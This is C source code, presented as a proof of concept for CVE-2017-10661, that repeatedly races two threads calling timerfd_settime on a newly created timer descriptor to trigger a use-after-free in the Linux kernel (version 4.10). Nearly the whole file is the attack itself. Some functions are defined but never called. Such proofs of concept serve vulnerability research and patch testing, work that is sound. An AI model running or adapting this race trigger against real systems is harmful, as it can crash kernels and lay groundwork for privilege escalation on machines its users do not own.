1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180 | /*
* PoC for CVE-2017-10661, triggers UAF with KASan enabled in kernel 4.10
*/
#include <string.h>
#include <sys/timerfd.h>
#include <sys/time.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <errno.h>
#include <time.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <pthread.h>
#define RACE_TIME 1000000
int fd;
int fd_dumb;
int count=0;
void* list_add_thread(void* arg){
int ret;
struct itimerspec new ={
.it_interval={
.tv_sec=100,
.tv_nsec=100
},
.it_value={
.tv_sec=100,
.tv_nsec=100
}
};
int i=0;
while(i<1){
ret=timerfd_settime(fd,3,&new,NULL);
if(ret<0){
perror("timerfd settime failed !");
}
i++;
}
return NULL;
}
void* list_del_thread(void* arg){
int ret;
struct itimerspec new ={
.it_interval={
.tv_sec=100,
.tv_nsec=100
},
.it_value={
.tv_sec=100,
.tv_nsec=100
}
};
int i=0;
while(i<1){
ret=timerfd_settime(fd,1,&new,NULL);
if(ret<0){
perror("timerfd settime failed !");
}
i++;
}
return NULL;
}
int post_race()
{
int ret;
struct itimerspec new ={
.it_interval={
.tv_sec=100,
.tv_nsec=100
},
.it_value={
.tv_sec=100,
.tv_nsec=100
}
};
int i=0;
struct timeval tv={
.tv_sec = 120+count*2,
.tv_usec = 100
};
ret=settimeofday(&tv,NULL);
if(ret<0){
perror("settimeofday");
}
return 0;
}
int do_race(){
int ret_add[2];
int i;
int j;
pthread_t th[2]={0};
i=0;
while(i<RACE_TIME){
if(i%128)
printf("%d\n",i);
fd=timerfd_create(CLOCK_REALTIME,0); // create the victim ctx
if(fd<0){
perror("timerfd craete failed!");
return -1;
}
ret_add[0] = pthread_create(&th[0],NULL,list_add_thread,(void*)1);
ret_add[1] = pthread_create(&th[1],NULL,list_add_thread,(void*)2);
for( j=0;j<2;j++){
pthread_join(th[j],NULL);
}
close(fd);
usleep(150000);
i++;
count++;
}
return 0;
}
int main(int argc, char const *argv[])
{
int ret;
// add dumb ctx
void* area;
void* base;
struct itimerspec new ={
.it_interval={
.tv_sec=100,
.tv_nsec=100
},
.it_value={
.tv_sec=100,
.tv_nsec=100
}
};
fd_dumb = timerfd_create(CLOCK_REALTIME,0);
ret=timerfd_settime(fd_dumb,3,&new,NULL);
if(ret<0){
perror("timerfd settime failed !");
}
ret=do_race();
if(ret <0){
puts("race failed!");
goto error_end;
}
sleep(5);
error_end:
close(fd);
exit(1);
}
|